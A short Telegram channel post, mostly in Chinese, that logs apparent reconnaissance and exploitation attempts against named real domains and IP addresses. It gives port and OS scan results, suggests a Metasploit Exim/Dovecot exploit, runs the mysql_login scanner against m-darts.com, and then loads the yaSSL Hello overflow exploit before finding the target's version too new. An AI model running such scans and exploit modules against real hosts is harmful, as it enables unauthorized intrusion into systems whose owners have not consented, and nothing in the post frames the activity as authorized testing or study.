duangsues.is_a? SaltedFish
use exploit/linux/smtp/exim4_dovecot_exec 或许有效 voukgroup.org 等域名的 587 端口运行着 dovecot Exim
This media is not supported in your browser
VIEW IN TELEGRAM
duangsues.is_a? SaltedFish
大概的报告： 45.62.110.178.16clouds.com 80: Apache 2.2.15 bwg,，可以正常访问，收到一份网址列表 Linux 2.6 (CentOS) mmallv2u.net 80:Tengine 443:ssl 843:adobe-crossdomain 1935:tcpwrapped Tiandy NVR (89%), IPCop 2 firewall (Linux 3.4) (87%), Linux 3.2 (87%) 103.208.220.66 22:ssh…
msf auxiliary(scanner/mysql/mysql_login) > set RHOSTS m-darts.com
RHOSTS => m-darts.com
msf auxiliary(scanner/mysql/mysql_login) > run
[+] 110.4.45.141:3306 - 110.4.45.141:3306 - Found remote MySQL version 5.5.58
msf auxiliary(scanner/mysql/mysql_login) > use exploit/linux/mysql/mysql_yassl_hello
msf exploit(
linux/mysql/mysql_yassl_hello) > infoPlatform:
LinuxThis module exploits a stack buffer overflow in the yaSSL (1.7.5 and
earlier) implementation bundled with MySQL <= 6.0. By sending a
specially crafted Hello packet, an attacker may be able to execute
arbitrary code.
有可能 🌚 — 不行, 他们的版本还是太高 🌑